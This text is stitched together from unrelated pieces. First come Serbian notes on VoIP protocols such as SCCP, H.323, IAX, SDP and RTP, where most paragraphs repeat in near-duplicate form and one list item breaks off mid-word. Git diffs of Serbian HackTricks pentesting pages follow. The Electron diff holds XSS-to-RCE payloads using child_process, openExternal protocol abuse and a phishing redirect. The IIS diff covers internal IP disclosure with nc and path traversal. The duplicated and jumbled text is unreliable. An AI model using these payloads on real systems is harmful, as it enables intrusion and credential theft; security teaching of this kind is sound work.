Glavne komponente sistema zasnovanog na SCCP-u su:
1. **Server za kontrolu poziva**: Ovaj server, obično Cisco Unified Communications Manager, upravlja procesima postavljanja, izmena i prekida poziva, kao i drugim telefonskim funkcijama kao što su preusmeravanje poziva, prenos poziva i zadržavanje poziva.
2. **SCCP uređaji**: To su uređaji poput IP telefona, video konferencijskih jedinica ili drugih Cisco glasovnih i video uređaja koji koriste SCCP za komunikaciju sa serverom za kontrolu poziva. Oni se registruju kod servera, šalju i primaju signalne poruke i prate instrukcije koje pruža server za kontrolu poziva za upravljanje pozivima.
3. **Kapije**: Ovi uređaji, poput glasovnih kapija ili medijskih kapija, odgovorni su za konvertovanje medijskih tokova između različitih mreža, poput tradicionalne prekidačke telefonske mreže i paketski prekidačke IP mreže. Mogu takođe sadržati dodatne funkcionalnosti kao što su transcoding ili otklanjanje eha.
1. **Server kontrole poziva**: Ovaj server, obično Cisco Unified Communications Manager, upravlja procesima postavljanja poziva, modifikacije i završetka, kao i drugim telefonskim funkcijama poput preusmeravanja poziva, transfera poziva i zadržavanja poziva.
2. **SCCP uređaji na kraju**: To su uređaji poput IP telefona, video konferencijskih jedinica ili drugih Cisco glasovnih i video uređaja koji koriste SCCP za komunikaciju sa serverom kontrole poziva. Oni se registruju kod servera, šalju i primaju signalne poruke i prate instrukcije koje pruža server kontrole poziva za upravljanje pozivima.
3. **Gateway-i**: Ovi uređaji, poput glasovnih gateway-a ili medijskih gateway-a, odgovorni su za konvertovanje medijskih tokova između različitih mreža, poput tradicionalne prekidačke telefonske mreže i paketski prekidačkih IP mreža. Mogu obuhvatiti dodatne funkcionalnosti poput transkodiranja ili otklanjanja eha.
SCCP nudi jednostavan i efikasan način komunikacije između Cisco servera za kontrolu poziva i uređaja. Međutim, vredi napomenuti da je SCCP vlasnički protokol, što može ograničiti interoperabilnost sa ne-Cisco sistemima. U takvim slučajevima, drugi standardni VoIP protokoli poput SIP-a mogu biti pogodniji.
SCCP nudi jednostavan i efikasan način komunikacije između Cisco servera kontrole poziva i uređaja na kraju. Međutim, vredi napomenuti da je **SCCP vlasnički protokol**, što može ograničiti interoperabilnost sa ne-Cisco sistemima. U takvim slučajevima, drugi standardni VoIP protokoli poput SIP-a mogu biti prikladniji.
### H.323
H.323 je **skup protokola** za multimedijalnu komunikaciju, uključujući glas, video i konferencije podataka preko paketski prekidačkih mreža, kao što su IP bazirane mreže. Razvijen je od strane Međunarodnog telekomunikacionog saveza (ITU-T) i pruža sveobuhvatan okvir za upravljanje sesijama multimedijalne komunikacije.
H.323 je **skup protokola** za multimedijalnu komunikaciju, uključujući glas, video i podatkovne konferencije preko paketskih mreža, poput IP baziranih mreža. Razvijen je od strane **International Telecommunication Union** (ITU-T) i pruža sveobuhvatan okvir za upravljanje multimedijalnim komunikacionim sesijama.
Neki ključni elementi H.323 skupa uključuju:
1. **Terminali**: To su uređaji na kraju, poput IP telefona, sistema za video konferencije ili softverskih aplikacija, koji podržavaju H.323 i mogu učestvovati u sesijama multimedijalne komunikacije.
2. **Kapije**: Ovi uređaji konvertuju medijske tokove između različitih mreža, poput tradicionalne prekidačke telefonske mreže i paketski prekidačke IP mreže, omogućavajući interoperabilnost između H.323 i drugih komunikacionih sistema. Mogu takođe sadržati dodatne funkcionalnosti kao što su transcoding ili otklanjanje eha.
3. **Kapije za signalizaciju**: Ove kapije su odgovorne za konvertovanje signalnih poruka između različitih mreža, omogućavajući besprekornu komunikaciju između tradicionalnih telefonskih sistema (npr. SS7) i IP baziranih mreža (npr. SIP ili H.323). Kapije za signalizaciju su ključne za interoperabilnost i obezbeđivanje pravilne komunikacije informacija o kontroli poziva između različitih mreža.
4. **Multip
1. **Terminali**: To su uređaji na kraju, poput IP telefona, video konferencijskih sistema ili softverskih aplikacija, koji podržavaju H.323 i mogu učestvovati u multimedijalnim komunikacionim sesijama.
2. **Gateway-i**: Ovi uređaji konvertuju medijske tokove između različitih mreža, poput tradicionalne prekidačke telefonske mreže i paketskih IP mreža, omogućavajući interoperabilnost između H.323 i drugih komunikacionih sistema. Mogu obuhvatiti dodatne funkcionalnosti poput transkodiranja ili otklanjanja eha.
3. **Gatekeeper-i**: To su opcione komponente koje pružaju usluge kontrole poziva i upravljanja u H.323 mreži. Obavljaju funkcije poput prevođenja adresa, upravljanja propusnošću i kontrolu prijema, pomažući u upravljanju i optimizaciji resursa mreže.
4. **Multipoint Control Units (MCU)**: Ovi uređaji olakšavaju višepartijske konferencije upravljajući i mešajući medijske tokove sa više uređaja na kraju. MCU-ovi omogućavaju funkcije poput kontrole rasporeda video zapisa, prebacivanja aktivirano glasom i kontinuirane prisutnosti, omogućavajući održavanje konferencija velikog obima sa više učesnika.
H.323 podržava niz audio i video kodeka, kao i druge dodatne usluge poput preusmeravanja poziva, transfera poziva, zadržavanja poziva i čekanja na poziv. Uprkos širokoj upotrebi u ranim danima VoIP-a, H.323 je postepeno zamenjen modernijim i fleksibilnijim protokolima poput **Session Initiation Protocol (SIP)**, koji nudi bolju interoperabilnost i lakšu implementaciju. Međutim, H.323 i dalje se koristi u mnogim zastarelim sistemima i podržava se od strane različitih proizvođača opreme.
### IAX (Inter Asterisk eXchange)
IAX (Inter-Asterisk eXchange) je **signalni i kontrolni protokol poziva** koji se pretežno koristi za komunikaciju između Asterisk PBX (Private Branch Exchange) servera i drugih VoIP uređaja. Razvio ga je Mark Spencer, tvorac otvorenog PBX softvera Asterisk, kao alternativu drugim VoIP protokolima poput SIP-a i H.323.
IAX je poznat po svojoj **jednostavnosti, efikasnosti i lakoći implementacije**. Neki ključni elementi IAX-a uključuju:
1. **Jedan UDP port**: IAX koristi jedan UDP port (4569) za signalizaciju i medijski saobraćaj, što pojednostavljuje prolazak kroz firewall i NAT, olakšavajući implementaciju u različitim mrežnim okruženjima.
2. **Binarni protokol**: Za razliku od tekstualnih protokola poput SIP-a, IAX je binarni protokol, što smanjuje potrošnju propusnosti i čini ga efikasnijim za prenos signalnih i medijskih podataka.
3. **Trunking**: IAX podržava trunking, što omogućava kombinovanje više poziva u jednu mrežnu vezu, smanjujući opterećenje i poboljšavajući iskorišćenje propusnosti.
4. **Nativna enkripcija**: IAX ima ugrađenu podršku za enkripciju, koristeći metode poput RSA za razmenu ključeva i AES za enkripciju medija, pružajući sigurnu komunikaciju između krajnjih tačaka.
5. **Komunikacija između vršnjaka**: IAX se može koristiti za direktnu komunikaciju između krajnjih tačaka bez potrebe za centralnim serverom, omogućavajući jednostavnije i efikasnije usmeravanje poziva.
Iako ima svoje prednosti, IAX ima neka ograničenja, poput primarnog fokusa na Asterisk ekosistem i manje široke upotrebe u poređenju sa etabliranim protokolima poput SIP-a. Kao rezultat toga, IAX možda nije najbolji izbor za interoperabilnost sa ne-Asterisk sistemima ili uređajima. Međutim, za one koji rade unutar Asterisk okruženja, IAX nudi robustno i efikasno rešenje za VoIP komunikaciju.
## Protokoli za prenos i transport
### SDP (Protokol za opis sesije)
### SDP (Session Description Protocol)
SDP (Session Description Protocol) je **tekstualni format** koji se koristi za opisivanje karakteristika multimedijalnih sesija, kao što su glas, video ili konferencije podataka, preko IP mreža. Razvijen je od strane **Internet Engineering Task Force (IETF)** i definisan je u **RFC 4566**. SDP ne upravlja samim prenosom medija ili uspostavom sesije, već se koristi u kombinaciji sa drugim signalizacijskim protokolima, poput **SIP (Session Initiation Protocol)**, za pregovaranje i razmenu informacija o medija tokovima i njihovim atributima.
SDP (Session Description Protocol) je **tekstualni format** koji se koristi za opisivanje karakteristika multimedijalnih sesija, poput glasa, videa ili konferencija podataka, preko IP mreža. Razvijen je od strane **Internet Engineering Task Force (IETF)** i definisan je u **RFC 4566**. SDP ne upravlja stvarnom medijskom transmisijom ili uspostavom sesije, već se koristi u kombinaciji sa drugim signalizacijskim protokolima, poput **SIP (Session Initiation Protocol)**, radi pregovaranja i razmene informacija o medijskim tokovima i njihovim atributima.
Neki ključni elementi SDP-a uključuju:
Neke ključne elemente SDP-a uključuju:
1. **Informacije o sesiji**: SDP opisuje detalje multimedijalne sesije, uključujući naziv sesije, opis sesije, vreme početka i vreme završetka.
2. **Medijski tokovi**: SDP definiše karakteristike medijskih tokova, kao što su vrsta medija (audio, video ili tekst), transportni protokol (npr. RTP ili SRTP) i format medija (npr. informacije o kodeku).
3. **Informacije o vezi**: SDP pruža informacije o mrežnoj adresi (IP adresa) i broju porta na kojem bi medij trebao biti poslat ili primljen.
4. **Atributi**: SDP podržava upotrebu atributa radi pružanja dodatnih, opcionih informacija o sesiji ili medijskom toku. Atributi se mogu koristiti za specificiranje različitih funkcionalnosti kao što su ključevi za enkripciju, zahtevi za propusnost ili mehanizmi za kontrolu medija.
1. **Informacije o sesiji**: SDP opisuje detalje multimedijalne sesije, uključujući naziv sesije, opis sesije, vreme početka i završetka.
2. **Medijski tokovi**: SDP definiše karakteristike medijskih tokova, poput vrste medija (audio, video ili tekst), transportnog protokola (npr. RTP ili SRTP) i formata medija (npr. informacije o kodeku).
3. **Informacije o vezi**: SDP pruža informacije o mrežnoj adresi (IP adresa) i broju porta na kojem bi medij trebalo da bude poslat ili primljen.
4. **Atributi**: SDP podržava korišćenje atributa radi pružanja dodatnih, opcionih informacija o sesiji ili medijskom toku. Atributi se mogu koristiti za specificiranje različitih funkcionalnosti poput ključeva za enkripciju, zahteva za propusnost ili mehanizama za kontrolu medija.
SDP se obično koristi u sledećem procesu:
1. Inicirajuća strana kreira SDP opis predložene multimedijalne sesije, uključujući detalje medijskih tokova i njihove atribute.
2. SDP opis se šalje primajućoj strani, obično ugrađen unutar signalizacijske poruke kao što je SIP ili RTSP.
3. Primajuća strana obrađuje SDP opis i, na osnovu svojih mogućnosti, može prihvatiti, odbiti ili izmeniti predloženu sesiju.
4. Konačan SDP opis se šalje nazad inicirajućoj strani kao deo signalizacijske poruke, čime se završava proces pregovaranja.
2. SDP opis se šalje primajućoj strani, obično ugrađen unutar signalizacijske poruke poput SIP-a ili RTSP-a.
3. Primajuća strana obrađuje SDP opis i na osnovu svojih mogućnosti može prihvatiti, odbiti ili modifikovati predloženu sesiju.
4. Konačan SDP opis se šalje nazad inicirajućoj strani kao deo signalizacijske poruke, završavajući proces pregovaranja.
Jednostavnost i fleksibilnost SDP-a čine ga široko prihvaćenim standardom za opisivanje multimedijalnih sesija u različitim komunikacionim sistemima, igrajući ključnu ulogu u uspostavljanju i upravljanju realnom vremenskom multimedijalnom sesijom preko IP mreža.
Jednostavnost i fleksibilnost SDP-a čine ga široko prihvaćenim standardom za opisivanje multimedijalnih sesija u različitim komunikacionim sistemima, igrajući ključnu ulogu u uspostavljanju i upravljanju realnim multimedijalnim sesijama preko IP mreža.
### RTP / RTCP / SRTP / ZRTP
1. **RTP (Real-time Transport Protocol)**: RTP je mrežni protokol dizajniran za prenos audio i video podataka, ili drugih medija u realnom vremenu, preko IP mreža. Razvijen od strane **IETF** i definisan u **RFC 3550**, RTP se često koristi sa signalizacijskim protokolima poput SIP-a i H.323 radi omogućavanja multimedijalne komunikacije. RTP pruža mehanizme za **sinhronizaciju**, **sekvenciranje** i **vremensko označavanje** medijskih tokova, pomažući u osiguravanju glatkog i pravovremenog reprodukovanja medija.
2. **RTCP (Real-time Transport Control Protocol)**: RTCP je prateći protokol za RTP, koji se koristi za praćenje kvaliteta usluge (QoS) i pružanje povratnih informacija o prenosu medijskih tokova. Definisan u istom **RFC 3550** kao RTP, RTCP **periodično razmenjuje kontrolne pakete između učesnika u RTP sesiji**. Deli informacije kao što su gubitak paketa, varijacija kašnjenja i vreme povratnog puta, što pomaže u dijagnostikovanju i prilagođavanju mrežnim uslovima, poboljšavajući ukupan kvalitet medija.
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP je proširenje RTP-a koje pruža **enkripciju**, **autentifikaciju poruka** i **zaštitu od reprodukcije** za medijske tokove, osiguravajući siguran prenos osetljivih audio i video podataka. Definisan u **RFC 3711**, SRTP koristi kriptografske algoritme poput AES za enkripciju i HMAC-SHA1 za autentifikaciju poruka. SRTP se često koristi u kombinaciji sa sigurnim signalizacijskim protokolima poput SIP-a preko TLS-a radi obezbeđivanja sigurnosti od kraja do kraja u multimedijalnoj komunikaciji.
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP je kriptografski protokol za dogovor o ključevima koji pruža **enkripciju od kraja do kraja** za RTP medijske tokove. Razvijen od strane Phil Zimmermanna, tvorca PGP-a, ZRTP je opisan u **RFC 6189**. Za razliku od SRTP-a, koji se oslanja na signalizacijske protokole za razmenu ključeva, ZRTP je dizajniran da radi nezavisno od signalizacijskog protokola. Koristi **Diffie-Hellman razmenu ključeva** radi uspostavljanja zajedničke tajne između komunicirajućih strana, bez potrebe za prethodnim poverenjem ili infrastrukturom javnih ključeva (PKI). ZRTP takođe uključuje funkcionalnosti poput **Short Authentication Strings (SAS)** radi zaštite od napada čovek-u-sredini.
1. **RTP (Real-time Transport Protocol)**: RTP je mrežni protokol dizajniran za dostavu audio i video podataka, ili drugih realnih medija, preko IP mreža. Razvijen od strane **IETF** i definisan u **RFC 3550**, RTP se često koristi sa signalizacijskim protokolima poput SIP-a i H.323 radi omogućavanja multimedijalne komunikacije. RTP pruža mehanizme za **sinhronizaciju**, **sekvenciranje** i **vremensko označavanje** medijskih tokova, pomažući u osiguravanju glatke i pravovremene reprodukcije medija.
2. **RTCP (Real-time Transport Control Protocol)**: RTCP je prateći protokol za RTP, korišćen za praćenje kvaliteta usluge (QoS) i pružanje povratnih informacija o transmisiji medijskih tokova. Definisan u istom **RFC 3550** kao RTP, RTCP **periodično razmenjuje kontrolne pakete između učesnika u RTP sesiji**. Deli informacije poput gubitka paketa, džitera i vremena kašnjenja, što pomaže u dijagnostikovanju i prilagođavanju mrežnim uslovima, poboljšavajući ukupan kvalitet medija.
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP je proširenje RTP-a koje pruža **enkripciju**, **autentikaciju poruka** i **zaštitu od reprodukcije** za medijske tokove, osiguravajući sigurnu transmisiju osetljivih audio i video podataka. Definisan u **RFC 3711**, SRTP koristi kriptografske algoritme poput AES za enkripciju i HMAC-SHA1 za autentikaciju poruka. SRTP se često koristi u kombinaciji sa sigurnim signalizacijskim protokolima poput SIP-a preko TLS-a radi pružanja sigurnosti od kraja do kraja u multimedijalnoj komunikaciji.
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP je kriptografski protokol za dogovor o ključu koji pruža **enkripciju od kraja do kraja** za RTP medijske tokove. Razvijen od strane Phil Zimmermanna, tvorca PGP-a, ZRTP je opisan u **RFC 6189**. Za razliku od SRTP-a, koji se oslanja na signalizacijske protokole za razmenu ključeva, ZRTP je dizajniran da radi nezavisno od signalizacijskog protokola. Koristi **Diffie-Hellman razmenu ključeva** za uspostavljanje zajedničke tajne između komunicirajućih strana, bez potrebe za prethodnim poverenjem ili infrastrukturom javnih ključeva (PKI). ZRTP takođe uključuje funkcionalnosti poput **Short Authentication Strings (SAS)** radi zaštite od napada čoveka u sredini.
Ovi protokoli igraju ključne uloge u **isporuci i obezbeđivanju sigurne komunikacije u realnom vremenu preko IP mreža**. Dok RTP i RTCP upravljaju samim prenosom medija i praćenjem kvaliteta, SRTP i ZRTP osiguravaju da se preneti medij zaštiti od prisluškivanja, manipulacije i napada reprodukcijom.
Ovi protokoli igraju ključne uloge u **dostavljanju i obezbeđivanju sigurne realne multimedijalne komunikacije preko IP mreža**. Dok RTP i RTCP upravljaju stvarnom transmisijom medija i praćenjem kvaliteta, SRTP i ZRTP osiguravaju da preneti medij bude zaštićen od prisluškivanja, manipulacije i napada reprodukcije.

View file

@ -1,4 +1,4 @@
# Electron Aplikacije za Desktop
# Elektronske desktop aplikacije
<details>
@ -14,9 +14,23 @@ Drugi načini podrške HackTricks-u:
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Uvod
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pretraživača.
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki mehanizmi bezbednosti modernih pretraživača.
Obično možete pronaći kod elektronske aplikacije unutar `.asar` aplikacije, kako biste dobili kod, morate ga izvući:
```bash
@ -36,7 +50,7 @@ Electron ima 2 tipa procesa:
![](<../../../.gitbook/assets/image (179).png>)
**Proces renderer-a** će biti prozor pregledača koji učitava datoteku:
Proces renderer-a će biti prozor pregledača koji učitava datoteku:
```javascript
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
@ -52,7 +66,7 @@ Elektronska aplikacija **može pristupiti uređaju** putem Node API-ja iako se m
* **`contextIsolation`** - je podrazumijevano uključen. Ako je isključen, glavni i renderer procesi nisu izolovani.
* **`preload`** - podrazumijevano prazno.
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je podrazumijevano isključen. Ograničava akcije koje NodeJS može izvršiti.
* Node Integracija u Radnicima
* Node Integracija u radnicima
* **`nodeIntegrationInSubframes`** - je podrazumijevano isključen.
* Ako je **`nodeIntegration`** **omogućen**, to bi omogućilo korišćenje **Node.js API-ja** na web stranicama koje se **učitavaju u iframe-ovima** unutar Electron aplikacije.
* Ako je **`nodeIntegration`** **onemogućen**, tada će se prethodno učitati u iframe-u.
@ -111,7 +125,7 @@ Ako možete lokalno izvršiti Elektron aplikaciju, moguće je da možete naterat
## RCE: XSS + nodeIntegration
Ako je **nodeIntegration** podešen na **on**, JavaScript veb stranice mogu lako koristiti Node.js funkcije jednostavno pozivajući `require()`. Na primer, način za izvršavanje kalkulatora na Windows-u je:
Ako je **nodeIntegration** postavljen na **on**, JavaScript veb stranice mogu lako koristiti Node.js funkcije jednostavno pozivajući `require()`. Na primer, način za izvršavanje aplikacije kalkulatora na Windows-u je:
```html
<script>
require('child_process').exec('calc');
@ -195,12 +209,12 @@ Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1
Prilikom implementacije Electron desktop aplikacije, važno je osigurati ispravne postavke za `nodeIntegration` i `contextIsolation`. Utvrđeno je da se **udaljeno izvršavanje koda na klijentskoj strani (RCE)** koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava kada su ove postavke podešene.
Kada korisnik interaguje sa linkovima ili otvara nove prozore, specifični event listeneri se aktiviraju, što je ključno za sigurnost i funkcionalnost aplikacije:
Prilikom interakcije korisnika sa linkovima ili otvaranjem novih prozora, specifični event listeneri se aktiviraju, što je ključno za sigurnost i funkcionalnost aplikacije:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ovi slušaoci **su preklopljeni od strane desktop aplikacije** kako bi implementirali svoju **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebalo da se otvori interno ili u eksternom web pregledaču. Ova odluka se obično donosi kroz funkciju, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da bi link trebalo otvoriti eksterno, koristeći funkciju `shell.openExternal`.
Ovi slušaoci **su preklopljeni od strane desktop aplikacije** kako bi implementirali svoju **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebalo da se otvori interno ili u eksternom web pregledaču. Ova odluka se obično donosi kroz funkciju, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba da se otvori eksterno, koristeći funkciju `shell.openExternal`.
**Evo pojednostavljenog pseudokoda:**
@ -208,7 +222,7 @@ Ovi slušaoci **su preklopljeni od strane desktop aplikacije** kako bi implement
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (960).png>)
Najbolje prakse za bezbednost u Electron JS savetuju da se ne prihvata nepoveren sadržaj sa funkcijom `openExternal`, jer to može dovesti do RCE putem različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje o ovoj temi, možete se obratiti [ovom resursu](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola koji su sposobni da iskoriste ovu ranjivost.
Najbolje prakse za bezbednost u Electron JS-u savetuju da se ne prihvata nepoveren sadržaj sa funkcijom `openExternal`, jer to može dovesti do RCE putem različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje o ovoj temi, možete se obratiti [ovom resursu](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola koji su sposobni da iskoriste ovu ranjivost.
**Primeri eksploatacije Windows protokola uključuju:**
```html
@ -241,21 +255,21 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
```
## **RCE: XSS + Stari Chromium**
Ako je **chromium** koji koristi aplikacija **zastareo** i postoje **poznate ranjivosti** na njemu, moguće je **iskoristiti ih i dobiti RCE putem XSS**.\
Ako je **chromium** koji koristi aplikacija **zastareo** i postoje **poznate** **ranjivosti** na njemu, moguće je **iskoristiti ih i dobiti RCE putem XSS**.\
Možete videti primer u ovom **izveštaju**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Ribarenje putem Internog URL regex zaobilaženja**
Pretpostavimo da ste pronašli XSS ali **ne možete pokrenuti RCE ili ukrasti interne datoteke**, možete pokušati da ga iskoristite za **ukradete pristupne podatke putem ribarenja**.
Pretpostavimo da ste pronašli XSS ali ne možete pokrenuti RCE ili ukrasti interne datoteke, možete pokušati da ga iskoristite za **ukradete pristupne podatke putem ribarenja**.
Prvo treba da znate šta se dešava kada pokušate da otvorite novi URL, proveravajući JS kod u front-endu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Poziv **`openInternally`** će odlučiti da li će se **link** otvoriti u **prozoru desktop aplikacije** kao link koji pripada platformi, **ili** će se otvoriti u **browseru kao resurs treće strane**.
Poziv **`openInternally`** funkcije će odlučiti da li će se **link** otvoriti u **prozoru desktop aplikacije** kao link koji pripada platformi, **ili** će se otvoriti u **browseru kao resurs treće strane**.
U slučaju da je **regex** koji koristi funkcija **ranjiv na obilaske** (na primer, **ne beži tačke poddomena**), napadač bi mogao zloupotrebiti XSS da **otvori novi prozor koji** će se nalaziti na infrastrukturi napadača **tražeći od korisnika pristupne podatke**:
U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilazak** (na primer, **ne beži tačke poddomena**), napadač bi mogao iskoristiti XSS da **otvori novi prozor koji** će se nalaziti na infrastrukturi napadača **tražeći od korisnika pristupne podatke**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -263,7 +277,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## **Alati**
* [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju loše konfigurisanih segmenata i sigurnosnih anti-uzoraka u aplikacijama zasnovanim na Electron-u.
* [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju loše konfiguracije i sigurnosnih anti-uzoraka u aplikacijama zasnovanim na Electron-u.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je otvoreni VS Code dodatak za Electron aplikacije koji koristi Electronegativity.
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana
* [**Electro.ng**](https://electro.ng/): Morate ga kupiti
@ -305,13 +319,25 @@ npm start
* Više istraživanja i tekstova o sigurnosti Elektron aplikacija možete pronaći na [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokrenut na **dark web-u** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji kradu podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji kradu informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,21 @@ Drugi načini podrške HackTricks-u:
</details>
Testirajte ekstenzije izvršnih datoteka:
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
Testirajte ekstenzije izvršnih fajlova:
* asp
* aspx
@ -23,7 +37,7 @@ Testirajte ekstenzije izvršnih datoteka:
## Otkrivanje interne IP adrese
Na bilo kom IIS serveru gde dobijete 302, možete pokušati da uklonite zaglavlje Host i koristite HTTP/1.0, a unutar odgovora, zaglavlje Lokacija bi moglo da vas usmeri ka internoj IP adresi:
Na bilo kom IIS serveru gde dobijete 302, možete pokušati da uklonite zaglavlje Host i koristite HTTP/1.0, a unutar odgovora zaglavlje Lokacija bi moglo da vam pokaže internu IP adresu:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
@ -60,9 +74,9 @@ Kreirana je spajanjem sadržaja sledećih lista:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Koristite je bez dodavanja bilo kakvog nastavka, fajlovi koji ga zahtevaju već ga imaju.
Koristite je bez dodavanja bilo kakvih ekstenzija, fajlovi koji je zahtevaju već je imaju.
## Traversiranje Putanje
## Put Traversal
### Otkrivanje izvornog koda
@ -113,7 +127,7 @@ Host: example-mvc-application.minded
```
Ovo ukazuje na prisustvo drugih bitnih DLL-ova, poput **System.Web.Mvc.dll** i **System.Web.Optimization.dll**, u /bin direktorijumu.
U scenariju gde DLL uvozi prostor imena nazvan **WebApplication1.Areas.Minded**, napadač može zaključiti postojanje drugih web.config fajlova na predvidljivim putanjama, poput **/ime-oblasti/Views/**, koji sadrže specifične konfiguracije i reference ka drugim DLL-ovima u /bin folderu. Na primer, zahtev za **/Minded/Views/web.config** može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo još jednog DLL-a, **WebApplication1.AdditionalFeatures.dll**.
